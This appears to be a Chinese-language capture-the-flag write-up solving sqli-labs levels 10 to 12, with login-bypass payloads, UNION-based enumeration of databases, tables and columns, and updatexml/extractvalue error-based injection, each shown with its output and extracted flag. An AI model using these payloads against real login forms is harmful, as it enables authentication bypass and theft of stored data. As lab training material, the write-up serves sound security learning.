sqli_labs-10,11,12 --详细解析

Less-10

信息搜集

是一个登录框,有两个传参点:

随便输一下,抓包看看传参形式和参数名:
POST传参,有uname和passwd参数。

SQL注入

从uname参数注入试试。先判断一下闭合类型,输入admin'
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''admin'' and password='' LIMIT 0,1' at line 1

根据报错信息,可知两个传参点都是单引号闭合

而且这两个参数是用同一条语句查询的,这就意味着如果我们在uname传参点把后面的语句都注释掉,就可以通过只输入用户名的方式登录,而无需密码。

sql 复制代码
admin'--+ //报错,过滤了--+
admin'#  //成功登录

我们看到这里回显了账号和密码,大概推测回显位有两个。那么order by语句测试一下,果然是两个回显位。

sql 复制代码
0' union select 1,2#

判断了每个回显位对应的位置,而且知道了可以使用联合注入,接下来就是联合注入走流程:

sql 复制代码
0' union select 1,2#
0' union select 1,(select database())# //security
0' union select 1,(select group_concat(schema_name) from information_schema.schemata)# //ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test
0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow')# //flagugsd
0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flagugsd')# //id,flag43s
0' union select 1,(select group_concat(flag43s) from ctfshow.flagugsd)# //ctfshow{843bd566-43dd-4cc5-b215-433b86b7d678}

得到flag.

Less-11

信息搜集

和上一题一样

SQL注入

测试到双引号闭合的时候报错了
可知是双引号加括号闭合:admin")#,成功登录。

回显位和上一题一样。

依旧联合注入:

sql 复制代码
0") union select 1,(select group_concat(schema_name) from information_schema.schemata)# //ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test
0") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow')# //flagugsds
0") union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flagugsds')# //id,flag43as
0") union select 1,(select group_concat(flag43as) from ctfshow.flagugsds)# //ctfshow{b40cd342-4b6f-44ed-9e3e-795340dc1075}

得到flag。

Less-12

信息搜集

和前两题一样。

SQL注入

测试闭合,发现是单引号+括号闭合:admin')#

但是这次不会回显账号密码了,没有了回显位,联合注入被ban了。

由于有报错信息回显,所以我们使用报错注入。

用updatexml报错注入:

sql 复制代码
admin') and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)# //'~ctfshow,ctftraining,information'

admin') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1)# //'~flag~'

admin') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flag'),0x7e),1)# //~id,flag4~'

admin') and updatexml(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e),1)# //'~ctfshow{6d80844a-5452-496e-86d0'

admin') and updatexml(1,concat(0x7e,right((select group_concat(flag4) from ctfshow.flag),30),0x7e),1)# // '~a-5452-496e-86d0-3cfca652aee7}~'

ctfshow{6d80844a-5452-496e-86d0-3cfca652aee7}

extractvalue注入:

sql 复制代码
admin') and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e))# //~ctfshow{6d80844a-5452-496e-86d0'

admin') and extractvalue(1,concat(0x7e,right((select group_concat(flag4) from ctfshow.flag),30),0x7e))# //'~a-5452-496e-86d0-3cfca652aee7}~'

都能得到flag。

相关推荐
Hello.Reader7 分钟前
Redis 延迟监控深度指南
数据库·redis·缓存
ybq195133454318 分钟前
Redis-主从复制-分布式系统
java·数据库·redis
码农12138号12 分钟前
BUUCTF在线评测-练习场-WebCTF习题[GXYCTF2019]BabyUpload1-flag获取、解析
web安全·网络安全·文件上传漏洞·buuctf·解析漏洞
Johny_Zhao36 分钟前
Docker + CentOS 部署 Zookeeper 集群 + Kubernetes Operator 自动化运维方案
linux·网络安全·docker·信息安全·zookeeper·kubernetes·云计算·系统运维
好奇的菜鸟3 小时前
如何在IntelliJ IDEA中设置数据库连接全局共享
java·数据库·intellij-idea
tan180°3 小时前
MySQL表的操作(3)
linux·数据库·c++·vscode·后端·mysql
满昕欢喜3 小时前
SQL Server从入门到项目实践(超值版)读书笔记 20
数据库·sql·sqlserver
Hello.Reader5 小时前
Redis 延迟排查与优化全攻略
数据库·redis·缓存
简佐义的博客6 小时前
破解非模式物种GO/KEGG注释难题
开发语言·数据库·后端·oracle·golang
爬山算法6 小时前
MySQL(116)如何监控负载均衡状态?
数据库·mysql·负载均衡